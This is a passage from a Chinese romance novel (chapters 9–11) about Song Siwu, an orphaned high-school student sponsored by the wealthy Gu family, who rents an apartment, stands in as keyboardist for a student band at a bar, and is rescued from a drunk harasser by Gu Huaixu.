第一次看见她时,她像一只受惊的小鹿,让人忍不住想伸出援手。
也不是没注意过她的窘迫。
印象中,除了校服,几乎没见她穿过新衣服。
像她这般大的孩子自我意识都很强,不是别人三言两语就能说通。
尽管如此,他还是低估了她的执拗。
顾淮序把纸袋搁在中央扶手箱上,倒车出来,往前开了一段,“顺手买了,要是觉得用着不安心,就当是借给你的,以后再还。”
宋司雾闻言抬起头来,一双眼睛清凌凌地望向他。
“还钱还是还手机?”
顾淮序视线平视前方,眉心微拢了下,“随你。”
车开到学校,宋司雾下车到后座拿上书包和礼盒,“您等我一下。”
顾淮序降下车窗,瞧着她翻出本练习本,快速写下几行字,又撕下那页纸给他。
“什么意思?”
“手机的借据,您收好了。”宋司雾揣起本子,重新背上书包。
他随意扫了两眼,女孩的字龙飞凤舞,却还是能辨认出笔触的灵动流畅来。
平生第一次收到这么潦草的“借据”,内容不全,格式不对,也没有注明利息和逾期违约金。
顾淮序收下了。
又问她:“什么时候月考?”
“下周。”
“宿舍住得还习惯?”
宋司雾默了一瞬,轻轻点头。
顾淮序略有深意地看她一眼,没再说什么。
见他准备发动汽车,宋司雾问:“您不接人了吗?”
顾淮序转头看她一眼,“我还有事,连桐晚点会自己过去。”
“哦。”
“还有事吗?”
宋司雾摇摇头,挥手和他道别。
9. Chapter 09
中秋过后,南城暑气未消。
宿舍楼内热意闷蒸,穿过走廊,空调冷气从两侧门缝里钻到脚腕上。
宋司雾从浴室洗漱完回到寝室,门正半掩着。
“楠楠,你以后别跟她说话了,你忘记今天明曦怎么说的了?”
“这样不好吧,这又不是她的错……”
“你如果继续理她,明曦她们肯定还会过来找麻烦的……”
宋司雾推门而入,声音戛然而止。
原本聚在一起聊天的室友们看见她立马散开,回到各自座位上。
朱楠本想和她打招呼,却被另一个女生拉住,只好冲她不自然地笑一笑。
宋司雾面无表情地去洗手间放好洗护,拿着换下来的衣服去了洗衣房,仿佛没听见那些话。
夜已深,盥洗室中只剩她独自站在砖白的洗手台前,弯着腰,用黄橙色的老式肥皂在袖口处有节奏地搓洗。
朱楠跟了过来,意味深长地看着那道清落的背影,低声叫她一句。
背影主人手上的动作没停,朱楠走到她旁边,闷声道:“其实我们都知道上次那个恶作剧是明曦干的,但是她们不承认,七班老师还护着她们……刚才我们不是故意要那样说你的,今天上午明曦突然带了几个人到宿舍来……说、说……”
“朱楠。”不待她说完,宋司雾就转过脸,乌沉沉的一双眼睛看过来,“你没必要道歉。”
朱楠愣愣地看着她,有点没反应过来,不知道她是什么意思。
宋司雾当初帮她的事她一直记在心里,但是眼下这情形她也不知道该如何是好——明曦那些人有家世有背景,她们一个也惹不起。
宋司雾没说话,拧开水龙头,又接了一盆水,透明水柱砸在塑料盆底,哗啦哗啦很大声。
她早已习以为常。
震耳水声中,她用很平淡的语气对朱楠说:“回去吧,以后不要和我说话了。”
-
隔天见到姜莱,宋司雾把收到的那盒月饼转赠给了她。
一共四枚,黑松露奶黄馅儿的——她没和丁姨提过她不能吃奶制品。
姜莱看到这么精致的月饼馅料也是吃惊,拆开包装先闻了闻。
宋司雾问她什么味道。
姜莱表情意味深长,促狭一笑,说:“钱的味道。”
她大大咧咧咬一口,嚼了几下,评价:“没五仁儿的带感。”
姜莱三下五除二解决掉一块,感叹:“他们家人想得还挺周到,你那部老年机从初中用到现在,早该退休了。”
最新款的苹果手机,套在宋司雾花九块九买的透明手机壳里,放在高中生们普遍用着价位两千左右国产手机的年代依旧扎眼。
从前她没觉得一台手机能有多沉,现在这部拿在手里,却似有千斤重。
两人从食堂出来回教学楼,午休时间,楼道口全是人。
姜莱挽着宋司雾,突然问:“你租房的事怎么不找你那个顾爷爷帮忙?他们家手眼通天的,不分分钟给你找到。”
宋司雾屏幕上的手指一顿,平声说:“不了,我自己找。”
她一向剔透,知道这世上人情最贵。
顾爷爷已经帮了她很多,她不可能每件事都指望别人。
上周起她就开始物色,毕竟等到舅舅家的房子执行查封,她在这个城市除了学校就没有其他落脚点了。
她的要求也简单,房子不需要多大,够住就好。
姜莱问:“为什么突然想出去住?”
宋司雾沉默一瞬,“我睡得晚,和室友作息不一样,与其相互迁就,还不如我搬出去。”
姜莱将信将疑,瞧着宋司雾眼下的淡淡乌青,也没再追问,凑到屏幕前,“这些都是中介发给你的?”
“嗯。”宋司雾一路上在翻房屋信息,基本都是几十平的小公寓或者陪读房。
“看起来有点破啊,房租怎么给?”
“押一付三,每月一千五。”
“……当房东好霸道。”
姜莱一边上楼一边开解她:“学校附近我爸还算了解,回头让他也帮你留意留意。实在不行,你还可以去我家住,我不收你房租——”
话音刚落,宋司雾突然被人从右后方撞了一下背,手机没拿稳,啪一声摔地上,正面着地。
“我去!”
姜莱惊呼一声,撞人的男生先她一步,弯腰把手机捞了起来,轻佻一哂,“还好,挺耐摔的。”
宋司雾抬起头,看清了男生的脸,身旁的姜莱比她还惊讶。
连桐直起身,见是她俩,也是一愣。
他扬了扬手机,问:“这谁的?”
姜莱一把将手机夺过来,还给宋司雾。
宋司雾随即检查起屏幕,万幸,没有损坏。
她长舒一口气,暗暗庆幸昨天听了配件店老板的话,贴了防爆膜,否则刚才一摔怕是凶多吉少。
姜莱自顾自吐槽:“服了,今天出门忘看黄历了。”
连桐挑眉:“骂谁呢?”
宋司雾把手机揣进口袋,疑惑地看了姜莱一眼,讶于她和连桐竟然认识。
姜莱说两人是学校跆拳道社的同学。
姜莱从小学习跆拳道,高一时就已经是黑带了。
“她是我手下败将。”连桐摸了摸鼻子,在一旁补充。
姜莱双眼冒火,“你说谁是手下败将?”
连桐无所谓地笑笑,往宋司雾脸上瞥一眼,“你们俩怎么会在一起?”
姜莱没好气道:“管得着嘛你?走路不长眼。”说完拉着宋司雾上了楼。
连桐也是无语,怎么他讨厌的人都跑一起去了。
下午课间,宋司雾独自从洗手间出来,又撞见了连桐。
一米八几的个儿,倚在栏杆上,两条胳膊向后搭,腿随意抻开,在走廊上格外碍眼,看见她时站直了身,摆明是在等她的样子。
宋司雾默默收回目光,全当没看见,扭头走向另一侧楼梯。
连桐快她几步,把人堵在拐角。
“干嘛,躲我啊?”
宋司雾抬了抬眼,不咸不淡地说:“没有。”
连桐瞅她表情,就差把“少烦我”三个字写脸上了。
就这还没有?
他嗤了下,“没有你跑?”
“你有事吗?”宋司雾没了耐心,眼看他也不是喜欢闲聊的人。
“没事就不能找你了?”
连桐说完,觉得这话不对味,又换了个说法,“作为班长,关心一下新同学。”
宋司雾冷冷看他一眼。
连桐没理会这个眼神,压低声音凑近了些,“这位同学,你知道骄奢淫逸四个字怎么写吗?你一个月生活费有多少,就敢超额消费,不知道勤俭节约?”
宋司雾盯着他,嘴角微微抿直,没有急着反驳。
连桐记得自己小时候逗猫,经常把猫逗得炸毛,亮出爪子挠他,那生气的表情跟她现在一模一样。
宋司雾退后半步,目光刻意地对着连桐上下扫视。
他没穿校服,鞋服都是潮牌联名,全身行头加起来大五位数,就这样的人还和她提勤俭节约。
她冷硬地开口:“少给我扣帽子,你才是骄奢淫逸本人。”
“……”
连桐一时被怼得哑口无言,站原地愣了好半天,想起来回嘴,人已经没影儿了。
周末,连桐抽空去了趟公司,将母亲顾釉如寄来的伴手礼交给
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顾淮序。
欧洲酒庄新启出来的红酒,说是答谢之前帮拍下的那幅油画。
了却送酒的差事,连桐又听说研发部正在测试新款无人机,便跟着工作人员去瞧瞧。
顾氏由房地产起家,后来转做进出口贸易,近些年拓展了智能业务领域,如今在科技市场也有了一席之地。
现在集团研发部的前身,实际上是顾淮序大学期间组建的一支研发团队。
顾淮序十几岁开始接触算法设计,对无人机这类飞行器的兴趣浓厚,回国之后接手家族生意,顺理成章把研发工作融入了集团智能领域的板块。
此次的新品预计明年春季发布,主推的pro版本相较于前一个版本迭代了飞控系统,提升了图传及续航能力,还增加了智能返航功能。
连桐玩了几圈下来,爱不释手。
“小舅,这款性能真是不错,等正式发布了送我一台呗。”
顾淮序睨了他一眼,“你不是已经有一台?”
“那不一样。”连桐如意算盘打得响,“我那台哪有这个帅。”
得到默许,连桐心情大好,蹭完新品,又跟着去了趟顾淮序办公室。
CBD大厦顶层划分了单独的休息区和会客厅,整层挑高设计,坐拥通透开阔的落地窗,视野极佳。
办公区域风格极简,墙壁摆满各类工具书籍和器械模型。
连桐在办公桌对面坐下,端起现泡的咖啡浅啜一口。
这豆子是巴拿马产的红标槐夏,产量稀少,口味独特,其他地方喝不到,顾淮序这儿倒是从来不缺。
连桐百无聊赖地坐了会儿,刷着手机,平白叫他想起件事。
“小舅,你最近有没有见过那个谁?”
“谁?”顾淮序头都没抬,专心处理邮件。
连桐说:“就那个……宋司雾。”
顾淮序瞥他一眼,“怎么了?”
连桐本想控诉她近期的“恶劣”行径,但话到嘴边又憋了回去。
见他支支吾吾,顾淮序也猜到几分,“生活费由她个人支配,以后少拿这事找人麻烦。”
连桐连忙解释:“我哪有,上次是个误会……”没说两句,发觉自己有点不打自招的嫌疑,赶紧又把话题扯开。
“小舅,你知道她最近在找房子吗?”
顾淮序淡淡问:“什么房子?”
连桐回忆了下那天捡手机时看到的租房界面,“好像是学校附近的公寓,叫什么老破小。”
从小锦衣玉食的矜贵少爷并不知道什么叫老破小。
他也听外公提过,宋司雾除了舅舅还有个舅妈,怎么不见她和家人一起住,偏要搬出去,有些离谱。
正犹豫要不要问个清楚,顾淮序没给他机会,直接合上电脑起身,下了逐客令:“我还有会,你待会儿自己回去。”
连桐:“……”
行,这是亲舅舅,就这么把他晾在办公室。
说穿了宋司雾就一接受资助的孤女,外公看在她父母双亡的份儿上才施以援手,还让小舅看顾照拂,既然顾淮序都没把人放在心上,他多管什么闲事。
-
新的一周,回学校上课,姜莱给宋司雾带来一个好消息。
姜莱说,她爸前几天留意到一套小户型公寓,就在学校附近,步行十分钟到。
小区虽然不算新,但居民都是老住户,人员简单,进出刷门卡,安全性比较高。因为房东急着转租,所以价格压得比较低。
姜莱把房子照片发给宋司雾,问她的意见:“押一付一,你觉得怎么样?”
“看起来还不错。”
“我爸说,房东希望这周就能找到租客,你要是想租我们周末就去看看。”
10. Chapter 10
周六一早,宋司雾和姜莱约了房东去看那套小户型公寓。
公寓是简装,大概五十多平,坐北朝南,采光很好,还有个小阳台,而且家具尚新,电器也一应俱全。
两个女孩看了一圈下来,很是满意。
房东姓林,是名退休老教师,戴副半框眼镜,气质儒雅随和。
公寓上任租客是个单身白领,最近换了工作不再续租,房子也就空了出来。
房东说,看在她们还是学生的份儿上,只收一个月的押金,之后按季度交房租就行。
宋司雾没想到会这么顺利,当天就敲定下来,由姜莱爸爸出面和房东签订短租合同,宋司雾再将押金和房租一并转给姜叔叔,准备等国庆放假就搬进去。
临近十月,假期前高三年级的第一次月考也结束了,班委组织大家当晚去吃饭唱K,算作放松。
群投票收集意见,宋司雾填的“不去”。
姜莱约她在宿舍楼下见,说要带她去个地方。
宋司雾回宿舍换了一身运动服,姜莱看见后直摇头。
姜莱把她拉进自己宿舍,翻箱倒柜找出一条连衣裙,之前姜莱妈妈买的,全新的,吊牌都没拆,只是不是姜莱的码。
月白色的修身款式,小方领,长度到膝盖,宋司雾上身一点也不违和。
“这尺码你穿刚好,就是腰上还有富裕。”姜莱拉着她转一圈,趁机摸了把她的细腰,“太瘦了,把你炖了都没几两肉。”
裙子的材质是绸缎质感,价格不菲,宋司雾问她怎么不自己穿。
姜莱掏出小镜子,认真把睫毛刷翘,“跟我风格不搭呗。我妈估计早就忘了我已经长到一米七了,还给我买那么小的衣服。”
姜莱的父母很早就离婚了,姜莱妈妈每次来看女儿,都会给很多钱,买很多东西,姜莱来者不拒,全都收下。
东西用得上的就用,用不上的就挂到二手网站上卖掉。
姜莱说,这是她欠他们的。
宋司雾问她待会要去哪儿,姜莱冲她眨了眨眼,“放心,不会把你卖了的。”
姜莱今天的打扮很是吸睛。
短款针织上衣搭配修身喇叭长裤,把少女初显的曲线勾勒得恰到好处。
乌黑的长发垂在肩头,似乎是卷过,睫毛卷翘,忽闪忽闪的。
两人转了几趟地铁才到那条南城远近闻名的商业酒吧街。
暮色笼罩而下,街道两旁的店面鳞次栉比,几个抱着吉他的乐手坐在外边弹唱吸引顾客,还有店面在放燥人的电子重金属,隔着厚重的门能感受到心脏随着鼓点震动。
沿街走了一段,又拐个弯,姜莱向前一指。
“就是这儿。”
宋司雾抬头。
“乌托邦”。
一家清吧。
店面不算小,外观装饰得低调,招牌用几块浅褐色木头拼接起来,确有一股不落俗套的味道。
姜莱推开门,头顶挂的三枚黄铜铃铛清脆地响。
零星几个客人坐在散台前闲聊,最里边搭了个舞台,上边支着架子鼓、音响和麦克风,这会儿没人演出,只缓缓放了首爵士乐。
宋司雾听了几句,确定是《LaLaLand》里的曲子。
姜莱让她先坐,熟捻地去吧台点了两杯喝的。
“这什么?”清透的粉红色液体,宋司雾拿起来闻了闻,抿一口,甜滋滋的。
“气泡水。”
宋司雾扫了眼她那杯蓝的,“你的也是气泡水?”
姜莱冲她挑了挑眉,“瞧不起谁呢。”
宋司雾放下饮料,环顾四周,“你不是说有东西要给我看,在哪?”
姜莱看了眼时间,端上酒,拉着宋司雾,神神秘秘地说:“跟我走就知道了。”
后台休息室,工作人员进进出出,器材区的几个少年正各自摆弄吉他和贝斯调音。
姜莱冲最高的背影喊一声:“李寻!”
留着狼尾短发的男生回过头。
男生个子很高,黑衣黑裤,脖子上坠一条骷髅头样式的银色链子。
他迈开长腿过来打招呼:“来得挺早。”
姜莱扬起笑,“你的演出我哪次迟过——介绍一下,我好朋友宋司雾。这是李寻,湛蓝乐队的主唱。”
李寻点一下头,“你好。”
宋司雾:“你好。”
姜莱说,李寻高她们两级,现在在南城大学读大二。
李寻有一双很好看的眼睛,左侧耳垂上别了枚黑色耳钻,锁骨上一枚纹身自领口若隐若现,和他本人搭在一起略显妖治。
他走近时宋司雾才察觉他头发不是纯黑,而是掺了点雾霾蓝。
姜莱拉着宋司雾去沙发上坐,又问李寻演出几点开场。
“八点。”
姜莱算了算时间,“南大不是有门禁嘛,待会儿结束你们怎么回去?”
李寻正弯腰从冰箱里拿东西,旁边一男生替他答:“寻哥大二换校区了,离这儿不远。”
姜莱点点头,眼睛还在李寻身上,“你之前不是说今年要转专业嘛,转去哪了?”
李寻拎出瓶冰水,“音乐系。”
姜莱有点惊讶:“真的假的?”
李寻反手关上冰箱门,没回答。
“南城大学没有音乐系。”
坐在姜莱身旁一直没吱声的宋司雾淡淡开口。
李寻的视线投过去,拧开瓶盖仰头喝一口,喉结滚了滚,勾起唇角对姜莱说:“你朋友还挺懂。”
“当然了。”姜莱揽过宋司雾的肩,扬起下巴,一脸骄傲,“我们宋宋以前可是跟着孟鉴清学音乐的。”
孟鉴清这个名字在当代音乐界分量极重,作为著名钢琴家,多年来包揽国际音乐大奖无数,对学生更是出了名的严苛,南城没几个人能入他的眼。
李寻挑了挑眉,乐队其他人也来了兴趣。
“小姜莱,你说你朋友会钢琴?”
“人家那不叫‘会’,没听小姜莱刚才说嘛,那是孟大师的学生。”
“寻哥,要不让这小妹妹跟我们上台?”
“对啊寻哥,人家毕竟专业的。”
大家等着李寻发话。
他不紧不慢地拎起一把吉他抱在怀里,手指随意拢了几个和弦,看向宋司雾。
湛蓝是李寻大一时牵头组的乐队,成员基本来自南城大学。
下午李寻接到消息,原定的键盘手罢演了,找人打听后才知道是被同行挖了墙脚。
他们去找对方要人,满屋都是年轻气盛血气方刚的,一群人差点打起来。
最后自是不欢而散。
人不齐,晚上的商演还是得去。但乐队缺位,有些歌只能勉强上台。
几人本想把今晚先对付过去,没想到送上门个替补队员。
“几个意思啊,我们宋宋还没说愿不愿意呢,你们瞎起什么哄?”姜莱很有些不悦。
她知道宋司雾已经许久不碰乐器,没必要为这事叫她为难。
几个说话的乐手也没想到姜莱会有这么大的反应,抬手冲宋司雾示意赔个笑,说自己不是那个意思。
宋司雾倒没生气,语气平静地开口:“没关系,你们需要的话,我可以试试。”
姜莱有些惊讶地去看她,一旁静观其变的李寻淡笑一声,放下吉他,说:“跟我来吧。”
他先带宋司雾去熟悉了一下合成器和电钢,又把改编的翻唱曲谱给她。
李寻说:“不急,你先看看。”
宋司雾接过,扫了眼谱子,放在一边,直接上手调设备,边调边问李寻:“有你们排练的视频吗?”
“有。”
李寻掏出手机解锁,翻出一段之前在学校活动室录的排练视频,又从另一个兜里掏出耳机给她。
“谢谢。”
她戴上一侧耳机,一面听一面合旋律。
李寻斜倚在一旁,瞧她专注的样子,不禁弯了弯唇。
试弹完整首,她摘掉耳机,对李寻说:“合奏试试。”
旁观的队员们都有点傻眼。
这就好了?
李寻看着她,唇角扯出一抹笑,也有点不信的意味,但还是招呼大伙儿彩排。
各自就位,成员们驾轻就熟开始排练。
宋司雾的电钢旋律揉在其中,既不喧宾夺主,又丰富了整首歌的层次。
这么短的时间能将一首伴奏的完成度拉满,质量还这么高,不得不令人惊叹。
“宋妹妹牛啊,刚才那和弦连奏太丝滑了!”
“要不怎么说是专业的呢,这水平吊打某些划水怪。”
“不愧是绝对音感,生下来就是搞器乐的。”
又排练了几遍,没一会儿工作人员进来cue流程,说还有十分钟上台。
一个乐手问:“咱们就这么上?”
姜莱睨他:“怎么,还有问题?”
乐手笑笑,有些为难地说:“宋妹妹的技术我是没话说,但这造型是不是有点……太乖了,不太像是玩儿乐队的。”
后半句话他没说出来,白裙子和帆布鞋配上宋司雾那坚定的眼神,倒是有点像入党宣誓。
其他人也觉得他说的有点道理,成员们都是清一色的全黑或者撞色,宋司雾这个打扮混在里边确实有点不搭。
姜莱挑了挑眉,“这有什么难的,等着。”
没过几分钟,姜莱从后台化妆室借来一顶齐肩的珊瑚粉假发,又把自己的短靴换给宋司雾。
经过这样一改,不仅摒弃了学生气,反而多了几分甜酷和赛博朋克的味道。
正式演出时,宋司雾站在舞台上没往下看,听声音能感受到酒吧里的客人比刚才多了不少。
许久未登台,多少有点紧张。
但多年学习乐器的经历让她的很多动作指法都形成了肌肉记忆。
几乎只要稍稍适应,就能马上唤醒身体原始的本能。
调整好设备,准备就绪,队员们纷纷向李寻比了个手势。
李寻看向宋司雾。
她颅内突然一股尖刺耳鸣穿透鼓膜,脑袋条件反射地倒向一边,抬手摁住耳廓。
站在旁边的乐手察觉到了,赶忙问:“怎么了?”
“没事。”
她迅速调整呼吸,冲李寻点了下头。
李寻朝后边抬了抬下巴,鼓手收到信号,敲一下镲片。
灯光随即亮起。
伴随李寻低沉磁缓的声音——
“大家晚上好,我们是湛蓝。”
“一首《Yellow》,送给在座的每一位。”
-
晚七点。
程斯年电话拨了三遍,那头才接通。
扪心自问,能让他这么有耐心一遍遍听忙音的人,除了顾淮序,在南城找不出来第二个。
程斯年在电话里骂:“可算接了,我还以为你加班猝死了。”
顾淮序这会儿刚结束一个会,从办公室出来,按了电梯去地库拿车,“舒沁催了?”
“没有,你哪次不是迟到早退,都习惯了。”
两个月前,舒沁从英国回来,程斯年还以为这个混世魔王终于肯安定下来了,结果她回来第一件事居然是开店创业。
创就算了,还要拉他俩入伙,美其名曰:有钱大家赚。
程斯年听了直翻白眼,他们仨哪个是缺钱的主。
盘了个店铺,说干就干。
虽说是股东,但他和顾淮序基本不管事,只偶尔去坐坐。
时间尚早,买醉的人不多,两人一前一后进店,黄铜铃铛跟着响了数秒。
“佐伊,照旧。”程斯年招呼吧台。
酒保给了顾淮序一杯蓝方威士忌,程斯年的是白兰地。
台上有人在弹民谣调,声音不大,做叙旧胡侃的背景刚好。
“叫我们来,自
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己人哪去了?”程斯年没找见舒沁影子,又问顾淮序,晚上老张那边的场子去不去。
顾淮序摇头,单手握着杯口晃了晃,浮冰转动,酒往嘴里送。
程斯年不奇怪,平常除了几个朋友的局,其余的他是能免则免。
程斯年随意扫了眼,吧台上的木质吊柜里,除了顶级醇酿的洋酒,还放着几瓶外边高价都收不到的典藏。
“舒沁挺有本事啊,那几瓶都能弄来。”又问顾淮序:“你还没说,这店到底挣不挣钱?”
顾淮序抬了抬眼,轻描淡写,“亏得不多。”
程斯年没关注过清吧的盈亏,只顾淮序偶尔替舒沁把把关。
程斯年恨铁不成钢地摇头,“我早说她不是做生意的料,非不信。要我说,趁早把店关了,还能止个损。”
“把我店关了准备去哪儿喝酒啊?”
舒沁踩着细高跟从吧台出来,她今天穿了条黑色吊带长裙,偏软的丝绒材质,搭配黑发红唇,在醺黄的幽暗灯光下很是惹眼。
程斯年:“刚还说你柜子里藏了精品,什么时候请我们喝一杯。”
舒沁让酒保调了杯伏特加,笑着指了指顾淮序,“那是寄存在我店里的,主人在这儿,你问他讨。”
顾淮序身子往后靠,腕骨上的表盘随着抬手的动作轻微转动。
漫不经心地开口:“在你的酒吧,算你的。”
舒沁莞尔,“行,那我可就笑纳了。”
程斯年跟着笑了笑:“回头让他给你整面墙摆满,办个酒展,还能买俩门票。”
顾淮序提了提唇角,将杯中的酒一饮而尽。
舒沁问:“最近忙什么呢,叫你几次都不出来。”
“新品快上了,在测试。”
顾淮序让酒保换了杯低度数的酒,他酒量好,平时却很少沾,在朋友的场子也节制。
舒沁好笑,“你手下人都干什么吃的,这点小事还用亲自盯?”
程斯年打岔:“你还不知道他,工作狂一个,对产品研发的事情最上心。”
舒沁点头,这话倒是真的。
他们几个之中,数顾淮序事业心最重,行事作风跟纨绔沾不上边。
程斯年:“我听说老爷子最近给你布置一任务,怎么样了?”
舒沁好奇:“什么任务?”
程斯年添油加醋地给她讲了一遍顾老爷子资助下属遗孤的前因后果,末了还不忘提醒顾淮序:“人你背调过了没有,别又有什么特殊来历。”
顾淮序目光沉冷地睇他一眼。
大家族对这种事情见怪不怪,以前谁家生意上有个磕绊或者孩子三病两痛的,老一辈迷信福报阴德的就会去寺庙供香祈福,或是听命理大师的建议去偏远山村资助个小孩来化解阴鸷。
如今顾老爷子这一出的动机,在外人看来也差不多是这样,否则怎么那夫妻二人走了这么久,到现在才想起来遗孤这回事。
这话题暂且揭过去。
程斯年耳朵里这两天落了不少闲话,今天见到当事人,又想起一桩事。
他问顾淮序:“前几天有人看见你跟一漂亮姑娘单独吃饭,还车接车送,真的假的?”
他这么问原是有缘由的。
这些年关于顾淮序性取向的传闻层出不穷。
德国分公司的内部群就曾传出他喜欢男性,理由是那段时间经常有一个亚洲面孔、穿着花哨的年轻男人去慕尼黑的工作室找他,有时一待就是一整天。
程斯年听到这个说法时,差点一口酒喷顾淮序脸上。
那段时间他因为分手失恋总往顾淮序那儿跑,没想到落到旁人眼里被传成这样,性取向都给他换了,此后大半年都没再去过慕尼黑。
回国后他也劝过顾淮序,好歹谈一个,免得以后出门在外他俩又被误会成一对,影响兄弟桃花。
平日想往顾淮序身上扑的莺莺燕燕不少,却极少见他单独跟谁约会吃饭。
传闻的原话当然没那么好听,蜚短流长的,说对方年纪蛮小,好像还是学生,嫩得能掐出水。
顾淮序向来反感被人窥探隐私。
前一阵,网上有媒体传他和某位娱乐圈小花所谓的“瓜”,还爆出了酒店大堂的监控录像,顾淮序直接让法务发了律师函,把造谣的营销号和泄露隐私的酒店一起告了。
程斯年的话他只当没听见,冷脸嚼了一块冰,继续喝他的酒。
舒沁略笑笑,提醒程斯年:“叫你朋友别乱说话,小心被顾氏法务部请去喝茶。”
三人有一搭没一塔地聊着,台上已经换了支乐队。
乐手加上主唱一共五个人,唱的一首英文老歌。
清吧不像夜场和livehouse,没有脱衣舞撒纸巾,也没有热辣摇滚重金属,来的客人要么是好友小聚,要么是生意伙伴,偏好环境安静风格雅致,背景音自然舒缓些。
程斯年随口问:“这乐队叫什么名字?之前没见过。”
舒沁抿一口酒,说:“湛蓝。上个月刚来的,乐手都是南大的学生,试演了几场,客人反馈都不错。”
程斯年半倚着吧台点评:“唱得一般嘛。”
舒沁斜睨他:“不懂不要乱说啊。”
顾淮序随意瞥了眼,目光扫过舞台,几个黑衣少年中间,一道清瘦纤细的身影正立在那儿。
粉色头发,一袭白裙,裙摆随着音律微微拂动,露出细白匀称的小腿。
看上去和整个乐队画风格格不入,却又称得上是一抹点睛的亮色。
“怎么了?”舒沁瞧他看得出神。
台上那首《Yellow》继续在唱——
“Lookhowtheyshineforyou.
“Andallthingsthatyoudo.”
“没什么。”
顾淮序收回视线,表情很淡,看不出喜怒,不咸不淡地评价:“键盘手弹得不错。”
11. Chapter 11
宋司雾在台上时就有些不自在,总觉得有道目光一直在盯着她看。
刚下台,她就被姜莱一把扑住。
“早知道今天要演出,我应该再给你化个小烟熏,绝对秒杀全场!”
宋司雾被她晃得站不稳,脸上难得露出些少女的轻盈神态。
“太夸张了,我恐怕驾驭不了。”
“你不相信我的技术啊?那也得相信你的表现力,相信你这张脸。”姜莱说:“你没看刚才台下的反应,气氛超赞,好多人跟着唱!”
宋司雾浅浅弯唇,语气平平地解释:“这歌发布于千玺年,大家耳熟能详,会唱很正常。”
姜莱哼了哼,瞧着玻璃灯光下宋司雾那双清亮的眼睛,凑到她耳边认真地说:“我还以为你不会想上台。”
宋司雾轻轻一怔,她和姜莱自幼相识,怎么会不知道她在想什么,轻摆一下头,几分自嘲地说:“没有,要不是你提醒,我差点忘了自己还会弹琴。”
她功成身退,湛蓝的演出还在继续。
姜莱激动地拉着宋司雾,“下首是霉霉的歌,我超爱的!”
下一秒酒吧里因为响起经典前奏,气氛瞬间沸腾。
方才开场前突如其来的耳鸣现在还有些隐隐的疼,她摘掉假发,冲姜莱张了张口,“我去下洗手间。”
姜莱放下酒杯,“我陪你去。”
宋司雾把她按回座位上,“你听歌吧,我自己去。”
姜莱弯眉一笑,冲她撅嘴抛了个飞吻。
穿过大堂是一条挑空设计的走廊,两侧是通透的玻璃幕墙。
后厅霓虹醺黯,宋司雾从女厕隔间出来,到公共洗手台前洗手,身后侧冷不丁冒出来个人。
“哟,这不是刚才台上那粉头发小妞嘛,怎么一个人啊?”
镜子里映出一张兔头獐脑的脸。
宋司雾没作声,迅速扯了张纸巾,胡乱揉成一团扔进垃圾桶,转身欲走。
男人晃晃悠悠拦住她,衬衫扣子散开好几颗,居高临下,口鼻里喷着浓郁难闻的酒气,眼睛粘在她身上,“小妹妹长得这么纯啊,刚才离得远没看清,要不要去我那儿喝几杯,哥哥请你啊。”说着就去拉她的手。
宋司雾嫌恶地躲开,掉头往走廊上跑。
视线昏暗,没跑出几步,她一头扎进一人怀里。
硬邦邦的胸膛,撞得她眼前一黑,胳膊陡然一紧,被对方稳住重心。
抬起眼,与人视线交汇,她大脑几乎宕机。
“顾……”
不待她开口说什么,身后的醉酒男跟了出来,冲着她,嘴里不干不净的。
顾淮序上前一步,拎着手肘把她往身后轻轻一带。
宋司雾仰起头,他高得过分,自己大部分视野都被他肩膀和侧脸占据。
他今晚一袭黑色风衣,浓稠如墨,气质比平日更显凌厉孤屻。
前一秒还在污言秽语的醉酒男在看清来人后,登时清醒几分,脸上挤出谄媚的笑,冲着顾淮序点头哈腰。
“顾总,真巧,您今天也在啊。”
顾淮序眸色极冷,目光像结了冰,沉眉肃目,冷静得可怕。
男人赔着笑,眼睛在两人身上来回打转,很识时务地说:“原来是顾总的人,刚才多有得罪。要不您二位赏个脸,去我包厢坐坐,消费我全包了,就当给小姑娘赔个不是……”
“不必了。”
顾淮序生硬地打断,拎着人大步流星离开。
宋司雾被带着一路经过走廊和前厅,到了后台休息室附近那只手才松开她。
握她的力道不算轻,她胳膊有些吃痛。
“有没有事?”
顾淮序眼底情绪淡了些,脸色却还很难看。
宋司雾摇了摇头。
后台附近的工作人员进进出出,经过两人时一口一个“顾总”地问好,走远几步就小声议论起来。
顾淮序知道这不是说话的地方,没再碰她,沉声道:“走了。”
台上那首《Cruelsummer》刚唱到结尾,就见顾淮序沉着脸回来了。
身后还跟着一个女孩。
程斯年往人脸上扫了眼,认出是刚才在台上的粉头发键盘手,又觉得有点眼熟,好像在哪儿见过,“出去接电话怎么还把人家小姑娘拐回来了?”
顾淮序冷着脸,没心思理他的玩笑。
听到那个“拐”字时宋司雾不自觉皱了一下眉,朝说话的人看过去。
男人穿件暗红格纹西装,黑衬衫领口微敞,端酒杯的那只手上戴着一块极闪的限量款腕表,单腿支在凳子上,整个人姿态懒散,有种浑然天成的痞气。
听他说话的口吻似乎和顾淮序很熟,正犹豫是否要开口问好,一道清脆的声音响起。
“宋宋,你怎么在这儿?”
刚到吧台续饮料的姜莱看见宋司雾和几个陌生面孔在一起,立马凑上来,贴到她旁边,语气略有些嗔怪和警惕,“你们认识?”
宋司雾轻轻嗯了一声。
气氛微滞,姜莱首先注意到旁边气质清孑矜贵的男人,用不高不低的音量问:“他是谁啊?”
宋司雾抿一下唇,礼节性地开口介绍:“就是我和你说过的那位……顾叔叔。”
一旁的顾淮序神色沉定,对这个称谓未置可否。
姜莱恍然大悟,贴在宋司雾耳边低语:“你这个叔叔怎么长得跟建模一样,帅得太权威了吧。”
宋司雾不自觉地去瞄顾淮序,立体优越的五官在霓虹错落下,比平日添了一份清颓,确实是很权威的长相。
姜莱大大方方自我介绍:“你们好,我是宋司雾的朋友,姜莱。”
“你好。”
程斯年笑着答一句,目光在她们之间切了两趟,最后落在宋司雾身上,终于想起在哪儿见过这张脸,“你就是传闻中宋家的那个小姑娘吧——斯雾,这名字跟我还挺有缘。”
“字不一样。”顾淮序语气平淡地纠正。
程斯年无所谓地笑笑。
姜莱:“这位是?”
“我姓程,老顾发小。”程斯年拿住宋司雾的那句“叔叔”调侃顾淮序:“你这辈分可够大的。”
又告诉两个小姑娘,“我跟他不一样,以后叫哥别叫叔。”
他邀请女孩们坐下,又问她们饿不饿,要不要点夜宵吃。
舒沁让服务生先上了两杯柠檬水,又拿出一页牛皮纸的菜单,冲她们浅浅地笑了下,“我是舒沁,这家酒吧的老板,想吃什么就告诉我。”
宋司雾和姜莱相视一眼,谁也没好意思接。
程斯年拿过菜单,直接递到她们手上,“喜欢吃什么放开点,记顾淮序账上。”
